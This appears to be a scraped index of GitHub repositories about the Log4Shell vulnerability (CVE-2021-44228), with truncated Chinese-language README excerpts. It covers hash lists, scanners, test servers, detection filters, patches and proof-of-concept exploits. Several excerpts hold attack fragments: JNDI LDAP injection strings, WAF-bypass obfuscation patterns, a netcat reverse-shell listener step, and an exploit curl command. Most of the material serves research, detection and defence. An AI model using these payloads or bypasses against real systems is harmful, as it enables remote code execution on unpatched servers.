CVE-2021-44228-Log4Shell-Hashes

CVE-2021-44228-Log4Shell-哈希值 受影响的LOG4J版本的哈希值 创建目的：帮助组织搜索这些受影响版本 https://www.lunasec.io/docs/blog/log4j-zero-day/ 哈希值来源：https://archive.apache.org/dist/logging/log4j/ 可能1.X版本受影响，详见https://github.com/apache/logging-log4j2/pull/608 版本1.0并不受此漏洞影响：https://twitter.com/ceki/status/1469449618316533762?s=...

log4j2-exploit

Log4Shell CVE-2021-44228 概念验证 环境要求 Java JDK/JRE 8 或更高版本 curl exploitable 一个简单的 Spring Boot 应用程序，提供一个包含用户名和密码的登录页面。当通过 POST 提交到 / 时，它会记录用户名。应用程序并不需要记录用户提供的任何输入。启用使用了存在漏洞的 log4j2 版本的访问日志就足够了。 如何运行： cd exploitable ../mvnw -q spring-boot:run 默认情况下，它监听 8080 端口。如果在浏览器中访问...

Log4jShell-Scan

概述 log4j2 RCE漏洞（CVE-2021-44228内网扫描器，可用于在不出网的条件下进行漏洞扫描，帮助企业内部快速发现Log4jShell漏洞。 修改自: https://github.com/fullhunt/log4j-scan JNDIMonitor来自：r00tSe7en/JNDIMonitor: 一个LDAP请求监听器，摆脱dnslog平台 github.com 本工具仅供学习研究自查使用，切勿用于非法用途，由使用该工具产生的一切风险均与本人无关！ 使用 JNDIMonitor-2.0.1-SNAPSHOT.jar 和 log4j-scan.py必须放在同一目录下...

CVE-2021-44228-Test-Server

CVE-2021-44228-测试服务器 一个小型服务器，用于验证给定的 Java 程序是否容易受到 CVE-2021-44228 的攻击。 用法 使用 go build -o listener.exe 构建程序。这应该会为你的平台生成一个小型可执行文件。 如果你需要其他平台的可执行文件，可以使用 Go 的交叉编译功能。 获得可执行文件后，可以使用以下命令运行它： $ listener 默认情况下，程序监听 4568 端口，但可以通过向可执行文件传递 -port 参数来更改。 可执行文件运行后，让存在问题的程序记录 $jndi:ldap://127.0.0.1:4568/a。每当有请求进...

fail2ban-log4j

fail2ban-log4j fail2ban 过滤器，用于捕获针对 log4j CVE-2021-44228 的攻击 安装 将此文件复制到您的 fail2ban filter.d 目录，该目录通常类似于 /etc/fail2ban/filter.d 或类似的位置。 在您的 jail.local 或 jail.conf 中添加一个 apache-jndi 部分： apache-jndi enabled = true filter = apache-jndi port = http,https logpath = /var/log/apache2/access.log bantime =...

cve-2021-44228-rce-poc

CVE-2021-44228 远程命令执行 PoC 该仓库允许安全研究人员通过提供一个攻击服务器的实现来试验远程代码执行，该攻击服务器会在包含 log4j 的易受攻击应用程序上加载自定义漏洞利用。 ⚠️ 该工具仅用于自我评估，且只能由授权人员或研究人员使用。 你只应测试你拥有明确许可或权限的系统。如果你发现易受攻击的应用程序或库，你应遵循负责任地披露。 RCE 步骤 CVE-2021-44228 的工作原理是向日志中注入 JNDI LDAP 字符串，这会触发 Log4j 联系指定的 LDAP 服务器以查找更多信息。在恶意场景中，LDAP...

jndi-ldap-test-server

jndi-ldap-test-server 这是一个极简的 LDAP 服务器，旨在用于测试 Java 应用中是否存在 JNDI+LDAP 注入攻击漏洞，尤其是 CVE-2021-44228。 如何测试 CVE-2021-44228 漏洞 1. 下载适用于你平台的测试服务器二进制文件（你可以在 发布版 下找到所有二进制文件）。 2. 在你要测试的应用程序可以访问的某个 IP 地址上运行测试服务器。如果你能在与你的应用相同的主机（localhost）上运行服务器，那是最简单的。 3. 找到你的应用程序从外部接收并记录的任何不可信的、外部提供的数据。 4. 让您的应用记录一条包含以下内容的字符...

CVE-2021-44228-PoC-log4j-bypass-words

🤝 展示您的支持 - 如果喜欢内容请给个 ⭐️ | 在 Twitter 上分享 | 关注我 🐱‍💻 ✂️ 🤬 LOG4J Java 漏洞利用 - WAF 和补丁绕过技巧 📝 描述 CVE-2021-44228 作用于： log4j：2.0 大写查找 大写查找将传入的参数转换为大写。假定该值将是嵌套查找的结果。 $upper: 3. "::-" 表示法 $$::-j$::-n$::-d$::-i:$::-l...

cve-2019-14540-exploit

CVE-2019-14540 Exploit http://www.leadroyal.cn/?p=939 环境限制：因为本demo使用 jndi 的 ldap 利用方式，需要使用低版本（小于8u191）的 jdk。 1. 使用marshalsec，在本地1389端口创建 ldap 服务，指向本地8000的 http 服务 git clone https://github.com/mbechler/marshalsec.git mvn package -DskipTests java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar...

log4j-jndi-be-gone

log4j-jndi-be-gone 一个基于 Byte Buddy Java agent 的修复方案，用于 CVE-2021-44228，即 log4j 2.x 的 "JNDI LDAP" 漏洞。 它做三件事： 禁用 jndi: 格式字符串（"lookups"）的内部方法处理器。 向 System.err（即 stderr）记录一条消息，表明发生了 log4j JNDI 尝试（包括尝试的格式字符串，其中任何 $ 字符均被清理以防止传递注入）。 将格式字符串解析为日志消息中的 "log4j jndi disabled"（以防止传递注入）。 使用方法 将...

Burp-Log4j-HammerTime

Log4j-HammerTime 此 Burp Suite 主动扫描器扩展验证了 Apache Log4j CVE-2021-44228 和 CVE-2021-45046 漏洞的利用。 该扩展使用 Burp Collaborator 来验证问题。 Usage 启用此扩展 在特定目标上启动主动扫描 如果您只想运行此模块中的检查，可以导入 extensions-only.json 配置文件并将其选为主动扫描配置文件。 Details 在主动扫描期间，该扩展尝试以下插入点： HEADER PARAMNAMEBODY PARAMBODY PARAMNAMEURL PARAMURL...

CVE-2021-44228-demo

log4j-shell-poc 针对近期发现的 CVE-2021-44228 漏洞的概念验证。 最近，log4j 中发现了一个新漏洞。log4j 是一个 Java 日志库，广泛应用于 elasticsearch、minecraft 等众多软件中。 本仓库中包含一个存在漏洞的示例应用程序及其概念验证（POC）利用程序。 概念验证 POC 作为一个 PoC，仓库中有一个可自动完成此过程的 Python 文件。 要求： pip install -r requirements.txt 用法： 启动一个 netcat 监听器以接受反向 shell 连接。 nc -lvnp 启动漏洞利用程序。 注意...

TPASLog4ShellPoC

TPAS Log4Shell PoC 此仓库包含 Log4Shell 漏洞（CVE-2021-44228）的概念验证（PoC），作为 FCUP 信息安全硕士课程中 TPAS 单元课程作业的一部分开发而成。 它包含： 一个 React SPA 前端，模拟通用电子商务网站，具备浏览产品以及查看描述、价格、评分等基本信息的功能，数据通过虚拟 JSON API https://dummyjson.com/docs/products 提供 一个 Spring Boot REST API 后端，使用存在漏洞的 Log4j 2.14 版本 一个 Bash 脚本，用于设置利用 Log4Shell...

LOG4J-CVE-2021-44228

LOG4J-CVE-2021-44228 Log4Shell（也称为 CVE-2021-44228）是一个严重漏洞，可在使用 Apache 基金会 Log4j 的系统中实现远程代码执行。Log4j 是一个开源 Java 库，广泛应用于商业和开源软件产品及工具中。 POC 分析 漏洞服务器运行在 8080 端口上 LDAP 服务器运行在两个端口上：http 8888 和 ldap 1389 利用命令 curl 172.17.0.2:8080 -H 'X-Api-Version:...

log4j_github_repository

这项工作包含针对CVE-2021-44228log4j的测试和改进工具 本研究的目的是列出蓝队和红队可以利用的针对Log4j漏洞的有用工具。Github链接可用于绕过工具、扫描、检测机制等。 扫描或POC 🔴 标题: log4j-shell-poc 🔴 描述: 针对最近发现的CVE-2021-44228漏洞的概念验证。 🔴 网址: https://github.com/kozmer/log4j-shell-poc 🔴 标题: Log4j2-RCE 🔴 描述: Log4j2 CVE-2021-44228复现及回显利用 🔴 网址:...

CVE-2021-44228

Log4Shell 概念验证 此仓库是 CVE-2021-44228 漏洞的概念验证。 它衍生自此仓库。 在此仓库中，我制作了一个易受攻击的应用程序示例，并演示了如何利用该漏洞。 概念验证组件 我已修改上游 Python 脚本，以自动化生成此漏洞。 此仓库中有两个 Dockerfile，可方便使用，如下所示： Docker-Ldap 在此 Docker 镜像中，我们从我的 Google Drive 下载 java jdk-8u20，因为您需要在 Oracle 上注册账号才能下载。 如果您不信任此来源，可以修改 Dockerfile 中的下载文件，并从此处下载 jdk（确保下载适用于...

Wireshark

Wireshark恶意软件分析 描述 在本实验中，我分析了一个已知的、针对Log4J漏洞的恶意数据包捕获。我按照自己用于数据包捕获分析的相同剧本开始调查，即检查统计信息，查看有多少端点以及它们之间的通信量。注意到IP地址数量庞大后，我想在地图上标注这些地址，因此安装并配置了Max Mind的GEOIP数据库，该数据库将IP地址解析到其所在的国家和城市。如此大量的IP地址表明可能来自针对Log4J漏洞的僵尸网络攻击或其他恶意扫描。由于捕获中的流量使用HTTP而非HTTPS（加密），我能够通过过滤"jndi"（Java命名与目录接口）明文识别出该漏洞。该过滤器的第一个数据包是一个HTTP...

CVE-2021-44228

CVE-2021-44228 PoC Log4Shell ⚠️ 免责声明： 本工具仅供教育目的、安全研究和受控测试环境 使用。 未经明确许可对系统使用本工具属于违法行为 ，一切责任由使用者自行承担。 📌 描述 该项目包含针对 Apache Log4j2（CVE-2021-44228） 漏洞的简单 概念验证（PoC） 利用代码。 该 PoC 会向目标发送带有 JNDI LDAP 负载的特制 HTTP 请求头。 如果目标存在漏洞，它将向指定的 LHOST 地址发送回调 。 🚀 用法 1️⃣ 构建 go build -o exploit exploit.go 2️⃣ 运行 sudo...

cve-2021-44228-qingteng-online-patch

cve-2021-44228-qingteng-online-patch 这是什么 通过利用漏洞本身热修补CVE-2021-44228。 如何使用 将以下代码注入到可能受CVE-2021-44228影响的任何位置， $jndi:ldap://your-own-server/patch 为防止修补过程中的中间人攻击（MITM），建议使用以下payload，但对于旧版Java兼容性较差， $jndi:ldap://your-own-server/anystringexceptpatch 运行你自己的服务器 1. 下载最新的发行版 2...

CVE-2021-44228-Apache-Log4j

CVE-2021-44228Apache Log4j Remote Code Execution） Versions Affected: all versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0 Security Advisories / Bulletins linked to Log4Shell CVE-2021-44228 Usage: 1. 下载该项目，编译InjectClazz.java download git clone...